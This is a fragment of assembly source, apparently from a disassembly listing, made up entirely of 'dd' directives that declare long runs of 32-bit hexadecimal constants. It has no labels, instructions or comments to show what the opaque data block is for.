		dd 9110FF23h, 445B2707h, 70E91907h, 0DCE26BCAh,	7E9DF71Dh
		dd 0CE22F263h, 1590AB4h, 5055E531h, 28E0BDC8h, 25B31A7Bh
		dd 0B7BA2DCh, 13C9B08h,	9A50E835h, 4081407Ah, 4AB21F01h
		dd 2160681Ch, 28B8DD25h, 0B86BECE9h, 5E5720Ah, 65947292h
		dd 7E0105Bh, 0E6D95825h, 44563A62h, 74430376h, 0D88912A2h
		dd 9DE2D3E9h, 967BF61Ah, 6EE48337h, 888F547Ah, 65512CEh
		dd 4307E04Ch, 682F6BA4h, 0EC584BABh, 0FB2793EAh, 444A6A04h
		dd 0D4BA18B8h, 66A42050h, 68E6E1F7h, 96516924h,	6BB1E942h
		dd 0BA52D07Eh, 836E2DFAh, 304A3841h, 0E64103EBh, 468F0E85h
		dd 0D6FDE90Dh, 5AC4BDBDh, 0CD3CC830h, 0BA47104h, 14ABEFD1h
		dd 9C352DA5h, 0DF8CE252h, 0A0C9D9C9h, 0F45DFBF7h, 8A73954Fh
		dd 38F7B988h, 466EB12h,	0BF3E225Fh, 2C7CE9CAh, 52E5713Ch
		dd 0F88568C1h, 1DCFEE76h, 0D33DE0CBh, 4E870F47h, 0A2C9847Bh
		dd 0C98A8585h, 66995DC0h, 0A0CF5EBCh, 64EBC4F7h, 0C8FFC3A0h
		dd 0A93E4280h, 0E027A53Eh, 5E895E32h, 99F5FF1h,	70513772h
		dd 0CA6853C0h, 0BD98BD66h, 0D6BD94D3h, 225DC93Dh, 0F507017h
		dd 73C1F118h, 0E4AD2EE1h, 515DCC93h, 6D6E51BDh,	1B3C2A0Eh
		dd 7FCD41EEh, 0A20D4304h, 65C06802h, 2062EC57h,	0E12C74CFh
		dd 0A70B7CF0h, 155D2BCh, 6F831ACCh, 468E0F43h, 0FA555F9Ch
		dd 14E26FC3h, 0E9CEF4Ah, 601892F1h, 685AD959h, 61AA7182h
		dd 0BEA04061h, 6A2F9224h, 0B15B29FBh, 785606D9h, 0EB415FEEh
		dd 0E90740EDh, 6D9146EBh, 971BE502h, 0E4B8C144h, 0A880AA55h
		dd 0E17E5B4Dh, 0A8528CF0h, 1DF6888Ch, 5642BABFh, 0E34F1659h
		dd 0F652254Fh, 0B35D4401h, 52E5854h, 554946CEh,	39F7080h
		dd 2C0575CAh, 9FC1A3FEh, 0EC690DE5h, 7FB43FFFh,	0FCEE7F2Ch
		dd 0F5C85721h, 1D28924Eh, 0E9BCF178h, 574B73C7h, 0A0FCA01Ch
		dd 8ED0CD5Ah, 0F4EBED80h, 1D709C64h, 3656F2D1h,	4095277h
		dd 1EF99FFBh, 158CD053h, 9126E2Fh, 65E12CE9h, 663FBF2Bh
		dd 0D3F3A85Eh, 812E98F0h, 8C19D1E9h, 5F873A0Bh,	337501C6h
		dd 0F209719Ch, 0C7A82E5Eh, 394B0C98h, 2431020h,	423DEC4Fh
		dd 65D849E9h, 6E44B5h, 6BBF6018h, 0A92E581h, 0CDB0E3E7h
		dd 0FF2C7EC1h, 0D002FB23h, 4061554Bh, 1434FD19h, 920102AAh
		dd 3AB11D10h, 0EA3789BFh, 301C5668h, 66DDC187h,	0DE059828h
		dd 6C296EC0h, 0C24D52C8h, 0D6340470h, 43C52EC0h, 2FC6E18h
		dd 2471264h, 0E9567AB2h, 0C77DDE4Dh, 0C0EA610h,	883D8BAh
		dd 21993A17h, 0AD40C042h, 65C05D2Dh, 72D58CFh, 8B64F6D4h
		dd 0AA6873D6h, 7F267DB3h, 313785Ah, 5B2CBEBh, 5E802D27h
		dd 58FB39E4h, 5B01F25Fh, 0ED437A25h, 0CA68200Ch, 308B2216h
		dd 59A00EFh, 0C48C83BBh, 5EC7312Ch, 775D6062h, 532D9BEDh
		dd 53E90246h, 0E480036Eh, 0A14F56F3h, 5416A48h,	69CF1CB8h
		dd 9F62882h, 0B53E4E5Dh, 3E5BAFF8h, 5E6074E5h, 40883D0Dh
		dd 90ED4E96h, 3C34CAD3h, 92F5015Ah, 55A0800h, 70E007Bh
		dd 459A2D74h, 0FADF59DEh, 44F90728h, 0FE3BC411h, 0AFC584F7h
		dd 734701ADh, 0EC49DC66h, 0C8BDD926h, 0C0E76099h, 6892EE9Bh
		dd 44BD48E0h, 5F9198C2h, 0BA509594h, 5E8D34F0h,	424BB46Ch
		dd 0EA30C398h, 50050E33h, 0E508C57Eh, 3E82AF7Fh, 0EB69F985h
		dd 16A62804h, 5D514704h, 7D0E8BAEh, 688A2427h, 254F75F9h
		dd 0CC772AA9h, 565B17BFh, 0E029AAFFh, 0AA2E3C0Dh, 84D4CC45h
		dd 131AE4FBh, 5D17099Fh, 692672EDh, 0A5B210BDh,	0D617B748h
		dd 3C2F26CDh, 61668707h, 0B256883h, 933860AAh, 60004E75h
		dd 9EC33FBDh, 97FD01F5h, 0A425D416h, 72D67C37h,	8B6EB2FDh
		dd 8945F502h, 88898068h, 0E431772Ah, 0BE835051h, 0E43D2636h
		dd 0EB771271h, 56DEE8BCh, 0C4808493h, 17D51FCBh, 8AC4908Eh
		dd 384BCB6Ah, 0DDE25C87h, 62C5D6E7h, 53043E5Bh,	5A572EEFh
		dd 38820A95h, 23140BBEh, 17673440h, 80189F53h, 6D56ECB1h
		dd 2081D097h, 0C8A827EFh, 0B980071Fh, 0A10E017Ch, 1A200567h
		dd 232060F8h, 1689F40h,	4D76291Ch, 0F4EFD15Fh, 9CB7E2CDh
		dd 3547B30Eh, 0AF8AEAB6h, 2A44BB5Ah, 0F6A3D0A4h, 0CC39A705h
		dd 1A80FB06h, 9E1AFA68h, 7C2F60E9h, 210B612Eh, 0F825E9C1h
		dd 84BB0462h, 0D5FF8E29h, 0E592EE84h, 0C279F7F7h, 0E90BB568h
		dd 68BAC04Fh, 8E761E4Eh, 0F0BC894Bh, 0EA2D9F5Ah, 0C05AAEh
		dd 39B15D45h, 4E52EF81h, 0E9431706h, 1D43D83Dh,	2F4D3BC5h
		dd 7E90B77h, 20EAE056h,	0BD24F6D8h, 0C4B9736Bh,	76B221Dh
		dd 64D25C98h, 7A1BC9BEh, 0FD055F1Eh, 253564Dh, 72E9C789h
		dd 53BFA382h, 0A2AA8519h, 2CE0D2C9h, 0D508A22Ch, 53D4A68h
		dd 7E15112Eh, 8847780Bh, 0A4278171h, 96BEC35Fh,	0EB0B9EFCh
		dd 4326E71Bh, 0EC065A89h, 0BD2C67A3h, 3D755661h, 28F49E61h
		dd 0F1585F46h, 8B12B928h, 7DCDF349h, 0EAA44902h, 0AA20874Ch
		dd 67EC569h, 0B706048Dh, 87BB0985h, 55AB32C0h, 3FC2936Ah
		dd 127C0B0Ch, 0F852BB94h, 19F795FDh, 72281DF6h,	0F654236Bh
		dd 0F3284D04h, 940BBF17h, 9100F59Ah, 4604C0FEh,	0F3EB8013h
		dd 660A5DEEh, 0A8A03C8Eh, 0AA25479Dh, 0AE033737h, 6A32FD6Eh
		dd 870B5BB9h, 62551B68h, 0B81EF7A2h, 0E90AEF42h, 92B5CA9Dh
		dd 0CB1EAB41h, 0DDC12B89h, 0E8AFB365h, 2169ED20h, 4D025198h
		dd 0E27F1055h, 6834FE82h, 0B4E260Ch, 2D1C819h, 1389153Ch
		dd 4684199Eh, 9324ED0Bh, 0E0C2BA5Dh, 0E94897A7h, 85C08AC4h
		dd 0AF1251C7h, 28419801h, 90CEA0Ah, 32A358B0h, 0F2F462Ah
		dd 516929FFh, 402F557Ch, 0C45676F0h, 17AD0192h,	0A2BF97BFh
		dd 3BDC87DFh, 0B19C5699h, 0F3595402h, 5FCB7E18h, 25EE7889h
		dd 8DCDA30h, 6AA55B67h,	0B715A3F1h, 681228BBh, 0F6099F27h
		dd 6E66717Ah, 0E6D8B34Eh, 0F84AA4FFh, 9FC670EFh, 6B8C1BE7h
		dd 977629F8h, 80BE244h,	94CAD61h, 8558827h, 0EA0E5F18h
		dd 286D3F42h, 0F4555CFDh, 6E5DE800h, 7DE5BD47h,	2992C917h
		dd 48634AB0h, 57CF7109h, 2D8E422Ah, 31500576h, 9DA2FED2h
		dd 0EDD18382h, 1796FF41h, 0A33C0650h, 5E0CC023h, 296EF64Ch
		dd 3EC498F9h
		dd 955B5753h, 0F3EB8077h, 0FC84B788h, 0D9D94B01h, 0A4DF6C88h
		dd 0A2E3E9BAh, 5370DFEDh, 0B2B45012h, 0F61990EEh, 3FEE80DCh
		dd 31C9E930h, 44D7BBBh,	0DD095578h, 4D2BC5Bh, 28871EC2h
		dd 1C7300D1h, 99A681E2h, 77EA9F0Fh, 14312685h, 0AD2520A5h
		dd 5E9DC9C6h, 0AF0FC1B9h, 16AF3CC8h, 9DAF8041h,	819A2D23h
		dd 17A9E950h, 5973CF34h, 63817913h, 30C33DB8h, 471939BDh
		dd 2A0C66A1h, 9534C5DCh, 80D13EAh, 5B14020Ch, 3BA5D1DFh
		dd 0D94A2A4Dh, 50F36600h, 81B91696h, 58758703h,	440C093Eh
		dd 83024756h, 594C1114h, 56AE682Fh, 935AC5F0h, 0DCB253FDh
		dd 42B9D269h, 605D293Eh, 8086CC65h, 0B00B5052h,	84C8FE49h
		dd 0A7EE88A8h, 0F0BD1673h, 49AACAAEh, 45E64FDDh, 0A2348BC4h
		dd 47BDD2F3h, 4709EB88h, 0ECBCF59Eh, 408EE925h,	24685972h
		dd 88426EECh, 5C1EEB02h, 0E00C43CAh, 0FA37FCBh,	0BB58D829h
		dd 8A7185Ch, 0D3C7F63Dh, 3220AB0Ah, 0D093D03h, 83DBF777h
		dd 5F16825Ah, 5E797B18h, 3B5300CCh, 0B475E97Fh,	0DAD1B0AAh
		dd 7A825A0Bh, 75489DDDh, 0E6B5CE68h, 28F2713h, 978AED14h
		dd 878B095Ch, 0B887AAAh, 608C2772h, 91207EFCh, 650FA304h
		dd 2D844178h, 0FE885ED0h, 0F028275Bh, 2E9E01DDh, 0C8E4902Ch
		dd 2FE9E804h, 7E598007h, 13D4D62h, 2B4F1268h, 7C32BEE6h
		dd 0CDFAEE67h, 0E75ECA2Fh, 0FD589308h, 0C4EFB549h, 0C275A960h
		dd 0DBCFB3E9h, 0BF57963Eh, 0B5B6D724h, 0E30F347Ch, 27BF80Ah
		dd 62CE10C2h, 9CD87FDCh, 625EB00h, 0F7E94DAFh, 9F2EAC53h
		dd 8EC25EEBh, 0A125FBDDh, 0A06A9236h, 5A0455A9h, 52D5F75Dh
		dd 0A49FFCE2h, 6B54C9E8h, 0ED2DFC83h, 0F0EEB32Eh, 2654DF56h
		dd 2175D601h, 0B0462508h, 5EB45A5Ah, 247D5BB8h,	5B18C235h
		dd 0F0E600Bh, 0D62F338Ah, 8BD0C7DDh, 0FCED1B74h, 280B4FD3h
		dd 77D7F74Eh, 5F249A64h, 0C300336h, 789B9C13h, 0D972D2Ah
		dd 6C9C719Bh, 0B2F69A1h, 5ADB615Dh, 9FC7E27Eh, 0C7A632C9h
		dd 9CBC0887h, 4E586806h, 0F9CC2915h, 7712BCC4h,	312FA9BEh
		dd 2B311D5Ch, 0EFEA5DE2h, 0E97ED97Dh, 329021F2h, 0BF324F0Bh
		dd 2E97049h, 774EBB53h,	8DC17CA3h, 5C246ED3h, 15D0CEAh
		dd 950991h, 0C6505A4Bh,	7CD67DC4h, 0B3882DDAh, 0A2979846h
		dd 4628476Fh, 4B9E79ACh, 0D58C84C5h, 4B308E4Ah,	15FA95D1h
		dd 685A5E00h, 18630F27h, 0A91B9914h, 41245E17h,	5EC79087h
		dd 45D2A0CEh, 7CA3CC5Fh, 3C05A84h, 9331810Fh, 0B2AA8CFFh
		dd 0D5891CCFh, 97D5CE93h, 0F25952FBh, 8EFB85B6h, 1CCA28FAh
		dd 0F9BF769Ah, 0F55F46E4h, 684EE913h, 669B890h,	0EDFA9FF9h
		dd 49122D7Ah, 0A0C46AA1h, 9AE90703h, 0AB7B1369h, 0CB89E04h
		dd 2F5E4768h, 0B6774AA3h, 0D2971C8Ch, 609E552Fh, 9ABB5D4Ah
		dd 3B6809B8h, 7130F503h, 64EF7BE9h, 0BF075739h,	25382AA9h
		dd 75AD17C2h, 0F325E8E5h, 2683AF82h, 89286A85h,	0AE4192F8h
		dd 95C123Bh, 0CEFC067Eh, 0CC345125h, 564F7F22h,	0C3B29877h
		dd 9220F5B7h, 0E2885210h, 0A95AC8F6h, 9C4F1141h, 1DECDE43h
		dd 0FD2FE199h, 9C888640h, 5B5C244Dh, 63B84684h,	4F09EC90h
		dd 5806FE20h, 0FF07805Eh, 0CB682F30h, 98C899C8h, 3CD90880h
		dd 0F6FE805Bh, 50D25C52h, 0F9D8F189h, 501ED597h, 0D32797BEh
		dd 278D2482h, 0E5D99762h, 0C1D78584h, 5881BA00h, 4A0C56E4h
		dd 2D172DE9h, 0A8E0FFEEh, 0C26D2E6h, 0F0A7B52h,	9D248F12h
		dd 7778C1FDh, 0E99BC486h, 286CB91Eh, 0A609B5F2h, 59077427h
		dd 0C7D74B63h, 0FCE90B93h, 0BC17C1E3h, 0E17195CAh, 352A0B7Dh
		dd 375181C9h, 5CA3646h,	2EDF1025h, 49F2D781h, 34B0FE04h
		dd 0BD7A5BCEh, 7D608B29h, 0B2457BC9h, 0CAFB18C1h, 0B8C0D5B4h
		dd 0CEB5B4C7h, 7B681075h, 0DFE93D51h, 0B855C8B4h, 0F4645BBEh
		dd 201E0564h, 0B7C92FFAh, 3986FAAAh, 0DB858106h, 0C32AAC54h
		dd 30CF02A9h, 0FDBFF5B1h, 0F496E974h, 4A9D702Fh, 0EA5FC555h
		dd 1721AB39h, 18861FE0h, 0F5E0E942h, 0A951F280h, 5DCB8582h
		dd 0C4E2D329h, 1A39A2C1h, 13F82E7Fh, 784FC600h,	0B18D0F48h
		dd 4D230797h, 0F4A68072h, 74CD812Fh, 600DF939h,	7EB7FCAFh
		dd 2012A888h, 0E09DE225h, 2091C56Dh, 8728013Ch,	0D72CCDF5h
		dd 0E66A9D50h, 8148D9A5h, 7817302Dh, 4783535h, 0BC2BB07h
		dd 3FF80906h, 38F93E01h, 2B7868E4h, 0D3CE8C6Eh,	0E9C782BDh
		dd 81E576A9h, 0D451DBC5h, 19A03B34h, 0B5F37802h, 1227D163h
		dd 0A0F3E401h, 80DE226Ah, 10B8FE87h, 0C0008D3h,	8BAB961Eh
		dd 5EF12731h, 2A01E341h, 68C2F2E2h, 1271365Ch, 1898E941h
		dd 0EE13953Fh, 0F8A436C1h, 12D9FD2Fh, 0B54CA8B2h, 13DD74D6h
		dd 0FAE4F4A5h, 25E2E317h, 57C953DEh, 0F254EDEBh, 0EA0C52D1h
		dd 0C51FFA49h, 0AEDF29FBh, 0D0BB9684h, 68565058h, 11541E05h
		dd 0F4AF5E26h, 1070D4Ch, 7AE916CAh, 8BF7929h, 0EE408B2Eh
		dd 0B00A7672h, 0C9BB76ACh, 78AA4B7Fh, 0CFB23E1h, 157CC588h
		dd 0A845713h, 0CB677D04h, 23167B1Eh, 6482B799h,	5F01DF7Eh
		dd 89DEF758h, 9B4E2F6Ch, 8AAE0266h, 31E553FEh, 21E4F5h
		dd 9146FF2h, 70890F10h,	0CDD2CE5Eh, 0FFE2DD03h,	5D25A059h
		dd 6F78B2B0h, 85A581C6h, 0EAEB0597h, 0AB140148h, 0B4006BE3h
		dd 3070B53Bh, 5D25E9E5h, 0D94C7590h, 0DFEF0DD2h, 5F2760C0h
		dd 90D93159h, 0E908C73Ch, 2F8F5C30h, 3FCCA14Eh,	1E29E96h
		dd 8A5AE42Dh, 840D7D2Eh, 0B8AEAE95h, 9770F616h,	0E9F0A774h
		dd 5DA7B771h, 491E1FD1h, 25696A7h, 70788C9Ch, 0BD682F8Ch
		dd 566944E6h, 0E7297555h, 0E00E1204h, 30395BC7h, 8F730FEh
		dd 1D885166h, 1ED1F6F9h, 16682ACFh, 8FE8602h, 542DB558h
		dd 0FC081386h, 1DB7E19Bh, 0EAC19993h, 0E6F553h,	0DCE95605h
		dd 44F5BACDh, 3D3C75E1h, 0CACA8813h, 0DBE84FF4h, 0F256662Fh
		dd 0BFB31C3Eh, 0E95AF302h, 123C7C79h, 0E31A0945h, 0D7C80256h
		dd 14DE0689h, 0C836B71h, 90AF6304h, 7596885h, 6EA0C862h
		dd 0B05001C4h, 64096ED4h, 645BA55Fh, 0E1028F09h, 803B512Ch
		dd 15722BE6h, 0BC7B931h, 0BC2AF931h, 4BFA4D4h, 9B5D7F3h
		dd 2E87E5Eh, 304E7DEDh,	77E7E40Fh, 0ADCDF690h, 3A52534h
		dd 70E92774h, 0F80F508Ah, 2091B0D8h, 7695AFC6h,	0BDF03CEFh
		dd 78DC29E2h, 678AE9F0h, 7EEE7184h, 898E85A2h, 0CD81E0F5h
		dd 41EEB561h, 338796B5h, 0AC44BB08h, 59F078B2h,	73A0B905h
		dd 92000B29h, 1BF6411Eh, 23C73981h, 0B1F53D16h,	0D7C56E6Dh
		dd 0A8BFB398h, 3897C777h, 10E7C4E9h, 0B0FA6546h, 0F405BDD0h
		dd 311D1A0Ch, 0ABD384BEh, 0E9CE8AFCh, 0BBD13349h, 98BF5C16h
		dd 4B398336h, 75B14ABBh, 12055220h, 0A3E6EEE9h,	0B850805Fh
		dd 22F1C5Fh, 82522D31h,	0F8410621h, 0F48E7A1Ah,	9BC5E7Eh
		dd 9775C41h, 0CDFD0090h, 0B557F048h, 0CB0630C0h, 0E9122079h
		dd 75EBBD6Ch, 0A0AA1607h, 0C74BFE4Fh, 0AAF24EF4h, 31EA82B2h
		dd 5DF0E97Ah, 0AC780DF5h, 78720502h, 885F56A2h,	5E0207B3h
		dd 66605368h, 0EAD6D614h, 0F531A349h, 4C4CFF2Ch, 35EF995Bh
		dd 1053FCF3h, 4032278Ch, 0C70A48B4h, 177C008h, 370A4B25h
		dd 958B606Eh, 52EF91D6h, 5031B3BDh, 0D6BD4A5Dh,	8E512F27h
		dd 0DE983E8Bh, 0D1487897h, 200AC697h, 0B90432B2h, 469B2150h
		dd 0BC7F12EAh, 810D60CFh, 0F8926F1h, 0CB096D2Dh, 0BEEB0CA4h
		dd 0A8058A4Ah, 42E857A5h
		dd 1B10EAEDh, 1D054D52h, 0C0079C20h, 83A6DEE6h,	7204465Eh
		dd 491D7D6Ch, 73687549h, 195C449Dh, 0CB0A7C89h,	86413D1Bh
		dd 0F0B9B10h, 0E1FE2785h, 0E2D95E25h, 3297BB6h,	3FA76345h
		dd 8693DF99h, 38C3F13Dh, 7D4787C3h, 0BD92519Fh,	525F175Fh
		dd 121D76A4h, 868BB54h,	8B05A2D6h, 0F9A45EDEh, 6B3860FBh
		dd 53A568D1h, 996065B6h, 0B25A657Dh, 9752338Dh,	2F1C275h
		dd 0F3AC9AD0h, 34447F17h, 0F238B30Fh, 3AA63D21h, 1CC20820h
		dd 5F045320h, 0BC6281D9h, 16CE7DE8h, 7B749A3Dh,	594CD97h
		dd 0A70CCEE9h, 61BA5FB7h, 1574762Fh, 0A550E0BEh, 580E1C14h
		dd 18C30FD6h, 0C12985DFh, 7D08E410h, 4FC5015Ah,	0F3C61CE9h
		dd 0EB5A75DFh, 1016C0ACh, 0E9F8C821h, 5AD1D220h, 0AB1CC55Dh
		dd 1F82A195h, 3582F524h, 68010282h, 762665B4h, 16CC6D10h
		dd 1602D6F7h, 0E27FFEF9h, 0DB4CDF75h, 52B9E29Dh, 3C2C6209h
		dd 1657C284h, 8B6997B1h, 46B1C734h, 0E5F16101h,	5E5C02DFh
		dd 0AE066B95h, 6658463Ah, 0A57F3C88h, 89CF7EC7h, 0C6D507EDh
		dd 0BCC506ABh, 1867A722h, 0A641B209h, 884EFE68h, 7427BF20h
		dd 0D9D57A8Ch, 680B3AC7h, 797E5121h, 0DBB46742h, 0C0830AEEh
		dd 5BD308FDh, 687EB001h, 8C3E1DEAh, 1640AC15h, 5DF806BDh
		dd 902945D1h, 678E86C1h, 42E17E30h, 245E926Eh, 15571EDDh
		dd 0D55A70E9h, 95280317h, 2674F109h, 0E378506Dh, 3D066916h
		dd 52F88000h, 2DE90B8Ch, 0CF1214E4h, 24304455h,	5A717329h
		dd 89CC717Fh, 0DE43E5E9h, 2AA319A9h, 315002E7h,	8C65B65Fh
		dd 5E22E599h, 98D28ED0h, 66586FDAh, 1FF37ECEh, 0F62D7A7Fh
		dd 2090F80Bh, 5EB5C4FCh, 31F769D9h, 0EA693244h,	0F81DC603h
		dd 88D9962Dh, 0DA617EADh, 0B66B6B82h, 184B7A4Ah, 2B944CCh
		dd 20D80287h, 0F8F5E9D1h, 0B19C2720h, 0F0D7D6AFh, 0FE015B41h
		dd 80D2F6CAh, 916E7FEAh, 2298E86h, 7A3C5D5Fh, 1558DAC8h
		dd 9A1765B9h, 0B9C4D7A1h, 0B624CF82h, 7F0D8909h, 5FCBB764h
		dd 0DDEBB954h, 43728D40h, 0CD50E216h, 2C3679C4h, 0D9F70B66h
		dd 0D8005D41h, 372F84F6h, 59CA2912h, 11E6E4B4h,	4A6AFB43h
		dd 0A95B8DE7h, 6E04D66Ch, 0ADF4C2B8h, 11725D0Ch, 0F180C900h
		dd 64B551CCh, 4D7CDF0h,	0C5E5F26h, 0EFA7DE0h, 0FB9A69E8h
		dd 0B6E94216h, 5560C0E1h, 91583DC8h, 0E5DD941Ah, 0E8A900F7h
		dd 9DD8F706h, 0FAA0557Ch, 35131A4Ah, 6880E5F2h,	22C96EF5h
		dd 0A588C8B6h, 402412h,	0E1FB5E3Dh, 8FB0FA89h, 0D49F3492h
		dd 6E50D945h, 8588BB8Ah, 0E718088h, 0E1C3FAB1h,	0BF9FD094h
		dd 139434AAh, 0E0661243h, 0ED4CB699h, 88845ED6h, 0CADFDDA2h
		dd 0C2CC6DC5h, 965BC828h, 82A12C09h, 941C25Ch, 0B90C62DEh
		dd 40784358h, 0C505FE2Eh, 0A98E8D0Fh, 5D8B0842h, 0F78A0396h
		dd 0B62DBBAh, 70BFDF78h, 0F8E5BD09h, 2C607F9Eh,	0FF170Dh
		dd 4B40353Ch, 8DFE06EDh, 9385A4BAh, 5202D7A2h, 0CF1890BAh
		dd 25DAFF2Fh, 0CC206B00h, 81E3D16Ah, 3037E6F3h,	310C5D40h
		dd 8812D877h, 35ADDF01h, 0A8A2BA92h, 6A454492h,	585B00ECh
		dd 9366BC68h, 398F05FFh, 77C704B6h, 0C9570F64h,	832D04CFh
		dd 0B59F7388h, 0E5808601h, 0F0C5CCC7h, 4C206F92h, 30DDFBCEh
		dd 0BD45F5F4h, 886F9822h, 7079E548h, 5A81DC9Dh,	26F1C389h
		dd 0C6D08365h, 5E7492BBh, 4E11BDB1h, 0B0E93081h, 65EE1E3Eh
		dd 7B58B17Ch, 2AD49FE0h, 9516B3CAh, 52BD6CD0h, 2A53E2Eh
		dd 0F1502A27h, 6B099599h, 0E7EEFDFCh, 5C898E2Dh, 2E74A7Ah
		dd 563E0ACDh, 6C1B71D7h, 0AC404D34h, 28DCEDF7h,	65DB9763h
		dd 82BD9516h, 1955E101h, 61493E0Dh, 5E9F2875h, 0B98574AAh
		dd 0A0EC841Ch, 23018B06h, 790FBC80h, 98DA8780h,	0C06E20E1h
		dd 0A0ED685Ah, 0EFCA4F7Ah, 29630A40h, 90452206h, 0FAF84E69h
		dd 758B5439h, 885F9145h, 0FBC20D04h, 0CB255F09h, 7DC0A84Ah
		dd 9E7FE998h, 5B21DE5Dh, 7794AFA8h, 15106900h, 5568527Bh
		dd 72B3224Ah, 4A617E05h, 4FC4621Bh, 2179E60h, 0BB99C9C4h
		dd 51EA4D91h, 34D7CACCh, 0BF04C2FEh, 0C04A4EF6h, 8E4A626Dh
		dd 0EE550732h, 0B749CE4Ch, 0D3BDA5F0h, 29EA00EDh, 0E91A9E3Ch
		dd 0D0B9115Bh, 0EAD3D02Dh, 21AAA812h, 787D4Bh, 95551D68h
		dd 0CE0032FBh, 0BB03A51Fh, 2E5B00ABh, 0E9FB313Eh, 93973D25h
		dd 0DAE8C149h, 0EE7D7C2h, 109E6427h, 4EBA06E9h,	1ED6F8C1h
		dd 0BAC2C99Ah, 0CB4215Eh, 43582DBDh, 0DC6FA400h, 53D66807h
		dd 0FD25BBACh, 5583115Ah, 2543B0E4h, 257917BBh,	2548E560h
		dd 7D3C9041h, 0D8D081DBh, 8803B753h, 66CCCF80h,	0F6FEB052h
		dd 0F0F7F4D6h, 27EFFA5Ah, 82D7302Ah, 59837CDFh,	55561E3Ch
		dd 2C01A272h, 6F8F0F90h, 91A33FA6h, 0FD543815h,	5029CC03h
		dd 0C4810B4h, 9E2A2CBDh, 54AFB7A4h, 0E563722Ch,	0F546CEEAh
		dd 38F7C9F1h, 0A168826Fh, 0CF4D5F1Eh, 2CA5B2Dh,	203F2153h
		dd 2DDC0460h, 0C6ACD30h, 7CCA0205h, 0A4CE0066h,	506DA054h
		dd 56043DB8h, 52E94D84h, 0BA03A6ECh, 8C06801Ah,	72FCBBD2h
		dd 0F205319h, 0B7517543h, 0E8B46B4Eh, 0AB5BC9F4h, 0BFEFC176h
		dd 0D9481CA5h, 310B35D0h, 0F299A144h, 92D02D1h,	68E9651Bh
		dd 0F39570D0h, 0D71B3E3Dh, 0F08346DBh, 3CC937B9h, 8481935Bh
		dd 978C1CF8h, 0FD06BEC6h, 0C05F7EF6h, 52856FA2h, 7AB2ABADh
		dd 0B15C4426h, 5D476CCh, 0EC5C0AFh, 0ABC70EBh, 0B58CF825h
		dd 0BC3771h, 0DA0AE021h, 0B5A83CE9h, 26A4F1D4h,	0B4871817h
		dd 44B93DE2h, 25CDA1E7h, 0FB7F8988h, 0C1731724h, 4E706BB1h
		dd 19E91667h, 0A85BBC4Ch, 358438E9h, 34579D70h,	9CCC9D6Dh
		dd 0FE5FFE27h, 6CE4D058h, 0F4B97795h, 2DFB3C3Bh, 0BD4C705Ch
		dd 4CDAE55Ch, 68510916h, 0B4FD6547h, 80F3B544h,	0C21FE90Bh
		dd 6C4E5D54h, 0B212124Fh, 9106DA8h, 0B3C75EDBh,	0B3BA2B14h
		dd 555FC993h, 0B5940D6Eh, 9F8A8052h, 53A346h, 0FF336D35h
		dd 0D38E0F59h, 0D5266AB5h, 5A012DC8h, 8F915486h, 56EB2D88h
		dd 0E6F0145Dh, 9D5263C2h, 4B8274ABh, 7200C54h, 0E76B5990h
		dd 0B0325766h, 7FCBD474h, 0B2E97510h, 0BA164765h, 0EEB795EEh
		dd 8E390991h, 4D760562h, 0AD5FCF43h, 1FAF4B12h,	6E738A80h
		dd 0DDF92A9h, 43060376h, 81FAD7DAh, 0D0C2D58h, 0A4C45546h
		dd 68E34004h, 0B23A9225h, 0E79A40EDh, 647782C9h, 34662956h
		dd 40B06EB8h, 0D494E7EBh, 1936D525h, 0B9515F02h, 61E41CC0h
		dd 173E6849h, 0B6B452C8h, 525F04D4h, 8AAC98E9h,	2DA1E64Bh
		dd 0AD8DD634h, 0BE92F5D2h, 0D676816h, 5210DFCCh, 0BF7F0865h
		dd 0A4C2AD20h, 5960AE39h, 2726F196h, 0AB18D207h, 0FC5F0285h
		dd 19877F55h, 3C06B4C3h, 8F96D12Fh, 0E30607DCh,	0AECD591Ah
		dd 0ADEB5E9Eh, 0E29F0FD5h, 5FBBB551h, 0B3671574h, 0C1BE30B4h
		dd 60EB28B3h, 0D4400781h, 0DB58955Dh, 0F285714Eh, 7B50D0DAh
		dd 276E1240h, 0E9DFCC13h, 3E0A68E1h, 6F33130Fh,	1DC3EA25h
		dd 99EBDCD4h, 2C212E7Dh, 8C6F4B31h, 29433039h, 0BA101A4Ch
		dd 67BB02A2h, 0D526F671h, 0EF80EED8h, 8682D1ADh, 20671203h
		dd 5A37CB41h, 7CE4A133h, 4022BA00h, 0BB063596h,	0AEA89E8Eh
		dd 81B32764h, 0FB9499D5h, 0EB20843Ah, 0AC848CA3h, 0FA25BE57h
		dd 2859C280h, 817B0161h, 1C5144CDh, 9E7A905Dh, 7404AF4Ah
		dd 2CFE140Ch, 0CD52E99Eh, 0BB810EA2h, 98EE128Ah, 0FA6F7253h
		dd 25CECB22h, 0A5EF57FBh
		dd 5456D583h, 18A4AA9Eh, 0C07A0BB2h, 1B0A08EAh,	8A9E09A2h
		dd 259A7469h, 8D8630F7h, 31A2784Ah, 1742E59Eh, 0C493D175h
		dd 2551A819h, 0BA015E2Dh, 5A0BBDCAh, 0DAAB9DD4h, 54332002h
		dd 406DD231h, 52952DD3h, 6856156Fh, 0BB80C445h,	435F470Ch
		dd 607AE916h, 0F516C8E3h, 9E91FCB3h, 4F403616h,	0C55DD30Dh
		dd 0EF609D20h, 350A8B02h, 0C9C301D2h, 0C920E424h, 6BAAE918h
		dd 0EFA2B532h, 0F82FE0CDh, 0BDF78027h, 901C4E2Eh, 7AEC2019h
		dd 0CB97595Ah, 0F26AB830h, 0D901279Eh, 0F8C17931h, 854B4E49h
		dd 796F88BAh, 72A76B4Eh, 3C05C04Ch, 806DA826h, 47229142h
		dd 6C800360h, 0C129A94Dh, 4605A50Ch, 5FDF4259h,	829B4CF5h
		dd 0A477580h, 0FE95E90Bh, 0C6F5251Bh, 0F7B3E255h, 51368001h
		dd 8074BB87h, 3F04C83Dh, 953D12Ch, 0FEA3B050h, 22444C82h
		dd 56015F02h, 73405AC9h, 0FF13670Fh, 8CBF5826h,	0DBFF07Eh
		dd 0B7C852F1h, 0D3681396h, 0B0FA302Bh, 9B902865h, 6C2D667Eh
		dd 0EFF19057h, 47D19749h, 33EB5CC4h, 0A3022EA8h, 1F8C0F49h
		dd 7F6A7256h, 0E133F207h, 292CCC6Ah, 0E01770D2h, 0CF015A05h
		dd 88FED7C5h, 1A9F870Ch, 271744D5h, 0EDE57B28h,	0B02C4422h
		dd 39C2108Ah, 0B0B74697h, 0B57D4BFBh, 0CE36406Ah, 0EA325893h
